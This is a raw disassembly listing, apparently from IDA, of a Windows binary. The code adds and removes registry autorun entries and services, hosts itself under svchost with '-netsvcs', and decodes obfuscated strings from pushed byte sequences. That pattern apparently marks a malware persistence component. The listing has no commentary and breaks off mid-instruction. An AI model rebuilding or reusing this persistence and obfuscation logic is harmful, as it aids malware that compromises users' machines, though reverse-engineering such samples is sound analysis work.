push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2940000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2900000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2940000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2900000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2940000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2900000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2940000h nop mov edx, [esp+80h+var_70] push edx call near ptr 2900000h nop lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E2F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E870 proc near ; CODE XREF: sub_401451j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E870 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_40142E lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE mov esi, dword_51175C push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] mov ebp, dword_51176C push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_511740 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E870 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED00 proc near ; CODE XREF: sub_4014A1j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40ED00 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_40142E push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C71 push eax call near ptr 27F0000h nop lea ecx, [esp+5Ch+var_3C] call sub_40142E mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+60h+var_24] call sub_4017EE push eax lea eax, [esp+64h+var_3C] push offset dword_444684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_40142E lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402171 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40ED00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EE40 proc near ; CODE XREF: sub_402171j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40EE40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 nop call near ptr 29009A8h mov edi, eax test edi, edi jnz short loc_40EE7F xor al, al jmp loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EE7F: ; CODE XREF: sub_40EE40+36j lea ecx, [esp+54h+var_24] call sub_40142E mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017EE mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017EE push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_449834 call sub_4017EE mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017EE push eax push edi call near ptr 2910000h nop mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EF65 nop call near ptr 27C07F2h cmp eax, 431h jnz short loc_40EF49 mov ecx, [esp+54h+var_44] push ebp call sub_401951 mov esi, dword_511754 push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_4014A1 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EF49: ; CODE XREF: sub_40EE40+CBj push edi call near ptr 29103E8h nop lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EF65: ; CODE XREF: sub_40EE40+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx nop call near ptr 29107A1h test eax, eax push esi mov esi, dword_511754 jnz short loc_40EFBC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EFBC: ; CODE XREF: sub_40EE40+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EFD0: ; CODE XREF: sub_40EE40+3Aj ; sub_40EE40+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40EE40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F060 proc near ; CODE XREF: sub_401951j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 29009A8h mov edi, eax test edi, edi jnz short loc_40F087 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F087: ; CODE XREF: sub_40F060+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push edi call near ptr 28A0000h nop mov esi, eax test esi, esi jnz short loc_40F0B4 push edi nop call near ptr 29103E8h pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F0B4: ; CODE XREF: sub_40F060+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi call near ptr 2900508h nop push esi call near ptr 2900761h nop push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40F060 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F100 proc near ; CODE XREF: sub_401FD2j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 29009A8h mov esi, eax test esi, esi jnz short loc_40F11F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F11F: ; CODE XREF: sub_40F100+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017EE push eax push esi call near ptr 28A0000h nop test eax, eax jnz short loc_40F146 push esi nop call near ptr 29103E8h xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F146: ; CODE XREF: sub_40F100+37j push edi mov edi, dword_511754 push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F100 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F180 proc near ; CODE XREF: sub_401FFAj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 29009A8h mov edi, eax test edi, edi jnz short loc_40F1A1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1A1: ; CODE XREF: sub_40F180+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017EE push eax push edi nop call near ptr 28A0000h mov esi, eax test esi, esi jnz short loc_40F1CB push edi nop call near ptr 29103E8h pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1CB: ; CODE XREF: sub_40F180+3Bj push 0 push 0 push esi nop call near ptr 28F0CFEh push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F180 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F210: ; CODE XREF: ___:loc_4014ABj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43A348 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F30A push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401730 test al, al jz short loc_40F2D6 lea ecx, [esp+0Ch] call sub_4017EE push eax lea ecx, [esp+28h] call sub_4017EE push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 1Ch loc_40F2D6: ; CODE XREF: ___:0040F297j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F30A: ; CODE XREF: ___:0040F246j lea ecx, [edi+47h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3A9 push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401451 test al, al jz short loc_40F382 lea ecx, [esp+24h] call sub_4017EE push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_40F382: ; CODE XREF: ___:0040F34Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3A9: ; CODE XREF: ___:0040F31Cj lea ecx, [edi+75h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F4BF push 1 push offset asc_444600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402171 test al, al jz short loc_40F47D lea ecx, [esp+24h] call sub_4017EE push eax lea ecx, [esp+10h] call sub_4017EE push eax lea ecx, [esp+44h] call sub_4017EE push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 20h loc_40F47D: ; CODE XREF: ___:0040F434j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F4BF: ; CODE XREF: ___:0040F3BBj lea ecx, [edi+0A3h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F561 push 1 push offset asc_444600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401951 test al, al jz short loc_40F53A lea ecx, [esp+54h] call sub_4017EE push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8075 call sub_401857 add esp, 18h loc_40F53A: ; CODE XREF: ___:0040F505j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F561: ; CODE XREF: ___:0040F4D4j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F660 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx nop call near ptr 77C2C407h mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F6D0 proc near ; CODE XREF: sub_40169Fj var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F6D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E88 lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_40142E lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_40142E lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401753 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401753 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401753 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401753 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401753 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401753 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401753 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401753 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401753 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401753 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401753 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401753 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401753 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401753 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_40172B mov dword ptr [edi], offset off_43F034 mov bl, 11h xor edi, edi push offset byte_448F30 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43F028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015E1 call near ptr 27E0B10h nop push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017EE push eax push offset dword_4490BC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019C4 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017EE push eax push offset dword_4490C0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017EE push eax push offset dword_4490C4 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019C4 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017EE push eax push offset dword_4490C8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017EE push eax push offset dword_4490CC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017EE push eax push offset dword_4490D0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017EE push eax push offset dword_4490D4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017EE push eax push offset dword_4490D8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017EE push eax push offset dword_4490DC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017EE push eax push offset dword_4490E0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017EE push eax push offset dword_4490E4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017EE push eax push offset dword_4490E8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017EE push eax push offset dword_4490EC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017EE push eax push offset dword_4490F0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017EE push eax push offset dword_4490F4 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017EE push eax push offset dword_4490F8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017EE push eax push offset dword_4490FC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019C4 add esp, 18h mov ecx, eax mov 